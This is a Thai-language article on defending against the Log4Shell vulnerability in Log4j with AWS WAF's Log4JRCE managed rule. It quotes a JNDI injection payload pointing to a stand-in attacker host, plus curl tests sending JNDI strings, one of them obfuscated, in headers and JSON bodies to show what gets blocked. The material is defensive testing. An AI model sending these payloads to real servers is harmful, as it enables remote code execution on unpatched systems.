Countermeasure against CVE-2021-44228 with AWS WAF

จากรายงานถึงช่องโหว่ CVE-2021-44228. CVE-2021-45046 (Log4Shell / CVSS score 10.0) ของไลบรารี Log4j ที่เป็นไลบรารี log ยอดนิยมในภาษาจาวา ส่งผลให้แอปพลิเคชั่นจำนวนมากมีช่องโหว่รันโค้ดระยะไกล (Remote Code Execution - RCE) ไปด้วย หากแอปพลิเคชั่นนั้นๆ เขียน log จากอินพุตของผู้ใช้ ไม่ว่าช่องทางใดก็ตาม

รูปแบบของ payload ที่ใช้ในการโจมตี

${jndi:ldap://attacker.com/a}

ช่องโหว่นี้เกิดจากความสามารถในการดึงข้อมูลจากภายนอกมาเขียน log (message lookup) โดยการดึงข้อมูลผ่านโปรโตคอล JNDI (Java Naming and Directory Interface) จากเซิร์ฟเวอร์ที่คนร้ายกำหนด จากนั้นคนร้ายจะส่ง java class รันโค้ดเข้าไปยัง log4j เพื่อรันโค้ดในสิทธิ์ระดับเดียวกับตัวแอปพลิเคชั่นได้

โดยทาง Log4j ได้ออกอัพเดตเวอร์ชั่น 2.15 ล่าสุดเวอร์ชั่น 2.17 เพื่อแก้ช่องโหว่นี้แล้ว แต่หากยังไม่สามารถอัพเดตได้ หรือเพื่อเพิ่มความสามารถในการป้องกัน เราสามารถใช้ Virtual Patching เพื่อป้องกันผลกระทบที่เกิดขึ้นด้วย AWS WAF (Web Application Firewall) ได้

แนวทางในการป้องกัน โดยใช้ AWS WAF

AWS ได้เพิ่ม protection rule สำหรับปัญหาของช่องโหว่ที่เกิดขึ้น ใน AWS Managed Rule บน AWS WAF เพื่อใช้ป้องกันการโจมตีจากระยะไกลยังแอปพลิเคชั่น ในหมวด AWSManagedRulesKnownBadInputsRuleSet

AWS Managed Rule

• Known bad inputs "Log4JRCE" ได้ถูกเพิ่มเข้ามาตั้งแต่ version 1.2 (ล่าสุดคือ version 1.3 1.6 หากเลือก default จะได้ version ล่าสุดเป็นค่าปริยาย) เพื่อป้องกันปัญหาช่องโหว่ Log4j ซึ่งเราสามารถตรวจสอบ หรือเพิ่ม rule ดังกล่าวได้

ทดสอบ

เราจะใช้ curl command ในการทดสอบเพื่อส่ง payload ต่างๆ เพื่อดูผลลัพธ์ที่ได้หลังจากที่เปิดใช้งาน AWS WAF managed rule for Log4jRCE

• ${jndi:ldap://URL} → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${jndi:ldap://URL}' -o /dev/null -w '%{http_code}\n' -s
403

จะเห็นได้ว่า หาก payload มีรูปแบบ (pattern) ที่มีความเสี่ยง จะถูก block โดยปริยาย

• ${jndi → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${jndi' -o /dev/null -w '%{http_code}\n' -s
403

• ${jndi → Block (403)

$ curl https:/www.target.test  -H 'User-Agent: ${%256a%256e%2564%2569%253a' -o /dev/null -w '%{http_code}\n' -s
403

หรือแม้จะหลบหลีก (bypass) ด้วยเทคนิค obfuscate ก็ตรวจพบได้

• ${jnd → Pass (200)

$ curl https:/www.target.test  -H 'User-Agent: ${jnd' -o /dev/null -w '%{http_code}\n' -s
200

หาก payload ไม่เป็นไปตาม pattern ที่เป็นอันตราย ก็สามารถใช้งานได้ปกติ

---

ทดลองส่ง JSON payload ผ่านทาง body บน POST method

• ${jndi:ldap://URL} → Block (403)

curl https:/www.target.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jndi:ldap://URL}"}'
403

• ${jnd → Pass (200)

curl https:/www.target.test -o /dev/null -w '%{http_code}\n' -s -X POST -H "Content-Type: application/json" -d '{"Name":"${jnd"}'
200

บทสรุป

เราสามารถใช้ Log4jRCE ใน AWS Managed Rule for WAF จาก Known Bad Input ruleset เพื่อป้องกันการโจมตีช่องโหว่ Log4j ในเบื้องต้น ทั้งนี้แนะนำให้รีบดำเนินการ patch/upgrade Log4j ที่ต่ำกว่า 2.15 2.17 โดยทันที เช่นเดียวกับซอฟแวร์ไลบรารีอื่นๆ ที่ใช้งานให้มีความทันสมัยอยู่เสมอ และนอกจากนี้ใน update ล่าสุดของ AWS WAF สามารถ log ข้อมูลจราจรไปบน AWS CloudWatch หรือ S3 ได้แล้ว